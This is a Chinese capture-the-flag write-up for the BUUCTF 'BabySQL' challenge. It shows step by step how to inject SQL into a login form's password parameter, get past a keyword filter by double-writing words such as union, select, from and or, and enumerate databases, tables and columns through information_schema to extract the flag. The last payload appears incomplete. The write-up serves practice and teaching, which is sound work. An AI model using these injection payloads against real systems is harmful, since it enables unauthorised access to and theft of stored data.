[极客大挑战 2019]BabySQL
前言
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
一、收集信息
首先打开网页
它说做了过滤,别管它!登录界面直接试万能密码’or 1='1
发现or给过滤为空了,这里就直接能想到用双写来绕过,但是不用急,先做做Fuzz测试
主要过滤了select、union、or、from、where这些函数
再配合双写来进行联合查询看看
check.php?username=admin&password=a'ununionion selselectect 1 #
发现报错了,说的是列数不对
加列数加到第三列时就够了
check.php?username=admin&password=a'ununionion selselectect 1,2,3 #
二、构造payload
现在知道了列数,以及被过滤掉的函数,就可以开始构造payload了!
爆破全部数据库名
check.php?username=admin&password=a%27ununionion+selselectect+1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata)+%23
这里需要注意的一个小坑!"information"中的for里面包含or字符串,会给过滤掉,不仅要对它进行双写来绕过,也需要将整句语句用括号括起来加以表示,不然会出现报错!
爆破全部表名
爆破数据库名后,能看到一个ctf的数据库,对它进行列举
check.php?username=admin&password=a%27ununionion+selselectect+1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)whwhereere table_schema="ctf"+%23
爆破字段
check.php?username=admin&password=a'ununionion selselectect 1,2,group_concat(column_name)frfromom(infoorrmation_schema.columns)whwhereere table_name="Flag" #
爆破数据
知道这些就可以爆出flag了
check.php?username=admin&password=a'ununionion selselectect 1,2,flag
总结
需要注意对字符的过滤和爆破语句的利用
爆破数据库名 :select schema_name from information_schema.schemata
爆破表名 :select table_name from information_schema.tables where table_schema=[database]
爆破列名 :select column_name from information_schema.columns where table_name=[table]
感谢BUUCTF提供的平台练习!